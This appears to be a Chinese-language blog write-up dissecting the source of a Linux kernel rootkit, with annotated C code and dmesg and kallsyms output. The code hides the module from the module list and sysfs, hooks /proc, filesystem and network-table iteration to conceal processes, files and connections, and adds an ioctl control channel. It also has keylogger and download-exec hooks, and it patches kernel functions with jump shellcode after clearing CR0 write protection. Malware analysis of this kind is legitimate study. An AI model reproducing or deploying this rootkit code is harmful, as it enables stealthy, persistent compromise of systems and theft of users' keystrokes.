模块初始化 --> hook 函数
static int __init i_solemnly_swear_that_i_am_up_to_no_good ( void )
{ //摘链隐藏驱动模块
/* Hide LKM and all symbols */
list_del_init(&__this_module.list);
/* Hide LKM from sysfs */
kobject_del(__this_module.holders_dir->parent);
#if defined(_CONFIG_X86_64_)
ia32_sys_call_table = find_ia32_sys_call_table();
DEBUG("ia32_sys_call_table obtained at %p\n", ia32_sys_call_table);
#endif
sys_call_table = find_sys_call_table();
DEBUG("sys_call_table obtained at %p\n", sys_call_table);
/* Hook /proc for hiding processes */
proc_iterate = get_vfs_iterate("/proc");
hijack_start(proc_iterate, &n_proc_iterate);
/* Hook / for hiding files and directories */
root_iterate = get_vfs_iterate("/");
hijack_start(root_iterate, &n_root_iterate);
/* Hook /proc/net/tcp for hiding tcp4 connections */
tcp4_seq_show = get_tcp_seq_show("/proc/net/tcp");
hijack_start(tcp4_seq_show, &n_tcp4_seq_show);
/* Hook /proc/net/tcp6 for hiding tcp6 connections */
tcp6_seq_show = get_tcp_seq_show("/proc/net/tcp6");
hijack_start(tcp6_seq_show, &n_tcp6_seq_show);
/* Hook /proc/net/udp for hiding udp4 connections */
udp4_seq_show = get_udp_seq_show("/proc/net/udp");
hijack_start(udp4_seq_show, &n_udp4_seq_show);
/* Hook /proc/net/udp6 for hiding udp4 connections */
udp6_seq_show = get_udp_seq_show("/proc/net/udp6");
hijack_start(udp6_seq_show, &n_udp6_seq_show);
/* Hook dev_get_flags() for PROMISC flag hiding */
hijack_start(dev_get_flags, &n_dev_get_flags);
/* Hook inet_ioctl() for rootkit control */
inet_ioctl = get_inet_ioctl(AF_INET, SOCK_STREAM, IPPROTO_TCP);
hijack_start(inet_ioctl, &n_inet_ioctl);
#if defined(_CONFIG_KEYLOGGER_)
keylogger_init();
#endif
#if defined(_CONFIG_HOOKRW_)
hookrw_init();
#endif
#if defined(_CONFIG_DLEXEC_)
dlexec_init();
#endif
#if defined(_CONFIG_ICMP_)
icmp_init();
#endif
return 0;
}
//内核代码中拿到路径 / 的iterate
proc_iterate = get_vfs_iterate("/");
void *get_vfs_iterate ( const char *path )
{
void *ret;
struct file *filep;
if ( (filep = filp_open(path, O_RDONLY, 0)) == NULL )
return NULL;
ret = filep->f_op->ITERATE_NAME;
filp_close(filep, 0);
return ret;
}
file由内核在打开文件时创建,并传递给在文件上进行操作的任何函数,这里定义filep指向该结构体,其中ITERATE_NAME 根据内核版本的不同,成员结构也有所不同,#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 11, 0),也就是说内内核版本小于3.11.0则这个结构体成员为readdir,若大于此内核版本则该结构体成员为iterate。
dmesg 查看get_vfs_iterate函数返回值
//安装驱动
[ 1387.996901] open_hook: module verification failed: signature and/or required key missing - tainting kernel
//添加打印的ret返回值
[ 1387.997372] rkduck: return /proc readdir -> ffffffff812557b0
在/proc/kallsyms中查找此地址所对应的系统调用
curtis@curtis-virtual-machine:~/Desktop/open_hook$ sudo cat /proc/kallsyms | grep ffffffff812557b0
ffffffff812557b0 t proc_root_readdir
如果将get_vfs_iterate("/")则其返回值为
[ 1718.118729] rkduck: return /proc readdir -> ffffffff8126ba60
curtis@curtis-virtual-machine:~/Desktop/open_hook$ sudo cat /proc/kallsyms | grep ffffffff8126ba60
ffffffff8126ba60 t ext4_readdir
内核中对list_head结构体的定义:
struct list_head {
struct list_head *next, *prev;
};
然后就开始围绕这些结构开始构建链表,然后插入、删除节点 ,遍历整个链表等等;
内核LIST_HEAD初始化调用接口;
#define LIST_HEAD_INIT(name) { &(name), &(name) }
#define LIST_HEAD(name) \
struct list_head name = LIST_HEAD_INIT(name)
static inline void INIT_LIST_HEAD(struct list_head *list)
{
WRITE_ONCE(list->next, list);
list->prev = list;
}
所以我们可以通过LIST_HEAD(list)初始化一个链表,list的指针prev和next都指向自己;
创建节点hooked_syms:
LIST_HEAD(hooked_syms);
struct sym_hook {
void *addr;
unsigned char o_code[HIJACK_SIZE];
unsigned char n_code[HIJACK_SIZE];
struct list_head list;
};
void hijack_start ( void *target, void *new )
{
struct sym_hook *sa;
unsigned char o_code[HIJACK_SIZE], n_code[HIJACK_SIZE];
#if defined(_CONFIG_X86_)
unsigned long o_cr0;
// push $addr; ret
memcpy(n_code, "\x68\x00\x00\x00\x00\xc3", HIJACK_SIZE);
*(unsigned long *)&n_code[1] = (unsigned long)new;
#elif defined(_CONFIG_X86_64_)
unsigned long o_cr0;
// mov rax, $addr; jmp rax
memcpy(n_code, "\x48\xb8\x00\x00\x00\x00\x00\x00\x00\x00\xff\xe0", HIJACK_SIZE);
//将函数rax的值改为自定义函数的入口地址
*(unsigned long *)&n_code[2] = (unsigned long)new;
#else // ARM
if ( (unsigned long)target % 4 == 0 )
{
// ldr pc, [pc, #0]; .long addr; .long addr
memcpy(n_code, "\x00\xf0\x9f\xe5\x00\x00\x00\x00\x00\x00\x00\x00", HIJACK_SIZE);
*(unsigned long *)&n_code[4] = (unsigned long)new;
*(unsigned long *)&n_code[8] = (unsigned long)new;
}
else // Thumb
{
// add r0, pc, #4; ldr r0, [r0, #0]; mov pc, r0; mov pc, r0; .long addr
memcpy(n_code, "\x01\xa0\x00\x68\x87\x46\x87\x46\x00\x00\x00\x00", HIJACK_SIZE);
*(unsigned long *)&n_code[8] = (unsigned long)new;
target--;
}
#endif
DEBUG_HOOK("Hooking function 0x%p with 0x%p\n", target, new);
//对源函数入口地址进行备份
memcpy(o_code, target, HIJACK_SIZE);
#if defined(_CONFIG_X86_) || defined(_CONFIG_X86_64_)
//关闭内存写保护
o_cr0 = disable_wp();
//改变函数入口地址
memcpy(target, n_code, HIJACK_SIZE);
//使能内存写保护
restore_wp(o_cr0);
#else // ARM
arm_write_hook(target, n_code);
#endif
//给sym_hook=结构体申请内存
sa = kmalloc(sizeof(*sa), GFP_KERNEL);
if ( ! sa )
return;
//函数源地址
sa->addr = target;
//保存target new函数入口地址
memcpy(sa->o_code, o_code, HIJACK_SIZE);
memcpy(sa->n_code, n_code, HIJACK_SIZE);
//插链,头插,形成双向链表
list_add(&sa->list, &hooked_syms);
}
系统调用细节,当系统要调用某个特定的API时,需要跳转到rax寄存器所对应的函数,当修改 $address 时,那么当调用所对应的函数时,会跳转到自己定义的函数即new,实现函数Hook。
//x86
48 c7 c0 35 08 40 00 mov rax, 0x00400835
ff e0 jmp rax
or
//x86_64
48 b8 35 08 40 00 00 00 00 00 mov rax, 0x0000000000400835
ff e0 jmp rax
内存写保护enbale 和 disable,就是修改cr0寄存器第16 bit的值。
inline unsigned long disable_wp ( void )
{
unsigned long cr0;
preempt_disable();
barrier();
cr0 = read_cr0();
write_cr0(cr0 & ~X86_CR0_WP);
return cr0;
}
inline void restore_wp ( unsigned long cr0 )
{
write_cr0(cr0);
barrier();
preempt_enable();
}